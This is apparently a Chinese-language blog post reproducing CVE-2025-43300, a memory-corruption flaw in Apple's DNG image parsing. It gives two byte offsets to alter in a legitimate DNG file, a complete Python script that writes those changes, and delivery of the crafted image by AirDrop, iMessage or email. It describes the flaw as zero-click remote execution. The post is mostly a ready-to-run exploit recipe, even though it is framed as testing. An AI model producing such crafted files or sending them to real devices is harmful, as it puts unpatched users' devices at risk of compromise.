CVE-2025-43300复现
CVE-2025-43300复现
复现CVE-2025-43300漏洞的具体步骤如下:
环境准备
搭建测试设备
需要一台未打补丁的MAC设备,确认其能加载并解析DNG图片。
获取合法的DNG图片文件
从真实相机或公开测试用图像库中获取合法的DNG格式文件,作为基线样本。
制作漏洞触发文件
修改DNG文件中的特定位点
使用二进制编辑工具(如Hex Editor、Python脚本)打开合法的DNG文件。
将偏移地址0x2FD00处的字节从0x01修改为0x02。
将偏移地址0x3E40B处的字节从0x02修改为0x01。
也可使用简易Python脚本:
1
python CVE-2025-43300-poc.py demo.DNG
提供脚本如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
from pathlib import Path
import shutil
import os
import sys
CHANGES = [
(0x2FD00, 0x01, 0x02),
(0x3E40B, 0x02, 0x01),
]
def patch_file(path: Path, changes, force: bool, backup: bool):
if not path.exists() or not path.is_file():
print(f"[!] 文件不存在:{path}")
return 1
size = path.stat().st_size
print(f"[*] 目标文件: {path} ({size} bytes)")
# 备份
backup_path = path.with_suffix(path.suffix + ".bak")
if backup:
shutil.copy2(path, backup_path)
print(f"[*] 已创建备份: {backup_path}")
modified = 0
with open(path, "r+b") as f:
for off, old_b, new_b in changes:
if off < 0 or off >= size:
print(f"[!] 偏移超出文件范围: 0x{off:X} (size={size}),跳过")
continue
f.seek(off)
cur = f.read(1)
if not cur:
print(f"[!] 无法读取偏移 0x{off:X},跳过")
continue
cur_val = cur[0]
if cur_val != old_b and not force:
print(f"[!] 偏移 0x{off:X} 校验失败:期望 0x{old_b:02X},实际 0x{cur_val:02X},未修改(使用 --force 可强制写入)")
continue
f.seek(off)
f.write(bytes([new_b]))
print(f"[+] 写入完成 @0x{off:X}: 0x{cur_val:02X} -> 0x{new_b:02X}")
modified += 1
if modified == 0:
print("[i] 没有任何偏移被修改。")
else:
print(f"[✓] 共修改 {modified} 处。")
return 0 if modified > 0 else 2
def main():
parser = argparse.ArgumentParser(
description="按指定偏移修改 DNG 字节(含校验与备份)"
)
parser.add_argument("file", help="要修改的 DNG 文件路径")
parser.add_argument("--force", action="store_true", help="忽略原字节校验,强制写入")
parser.add_argument("--no-backup", action="store_true", help="不创建 .bak 备份文件")
args = parser.parse_args()
path = Path(args.file)
rc = patch_file(path, CHANGES, force=args.force, backup=not args.no_backup)
sys.exit(rc)
if __name__ == "__main__":
main()
触发漏洞
传输漏洞文件到测试设备
通过AirDrop、iMessage、邮件附件等途径发送
exploit.dng
文件到测试设备。也可以直接在设备上用应用打开该DNG文件。
观察设备响应
设备在自动解析该DNG图片时,如果未打补丁,可能引发内存损坏,导致异常行为,此时可以看到预览崩溃。
注意事项
此漏洞为零点击远程执行,文件一旦被处理即触发,无需用户交互。
CVE-2025-43300复现
https://erkangkang.github.io/2025/08/28/CVE-2025-43300复现/